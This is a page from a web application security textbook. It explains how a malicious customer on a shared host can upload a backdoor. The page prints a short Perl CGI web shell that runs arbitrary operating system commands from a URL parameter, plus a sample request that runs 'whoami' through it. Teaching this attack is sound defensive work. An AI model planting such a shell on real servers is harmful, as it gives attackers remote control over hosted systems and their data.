the-web-application-hackers-handbook

660 Chapter 17 n Attacking Application Architecture
advantage. Where this kind of administrative application is deployed,
any kind of vulnerability within this application may provide a vehicle
to attack the shared application accessed by end users.
Attacks Between Applications
In a shared hosting environment, different customers typically have a legitimate
need to upload and execute arbitrary scripts on the server. This immediately
raises problems that do not exist in single-hosted applications.
Deliberate Backdoors
In the most obvious kind of attack, a malicious customer may upload content
that attacks the server itself or other customers’ applications. For example, consider
the following Perl script, which implements a remote command facility
on the server:
#!/usr/bin/perl
use strict;
use CGI qw(:standard escapeHTML);
print header, start_html(“”);
if (param()){my $command = param(“cmd”);
$command=`$command`;
print “$command\n”;}
else {print start_form(); textfield(“command”);}
print end_html;
Accessing this script over the Internet enables the customer to execute arbitrary
operating system commands on the server:
GET /scripts/backdoor.pl?cmd=whoami HTTP/1.1
Host: wahh-maliciousapp.com
HTTP/1.1 200 OK
Date: Sun, 03 Jul 2011 19:16:38 GMT
Server: Apache/2.0.59
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Untitled Document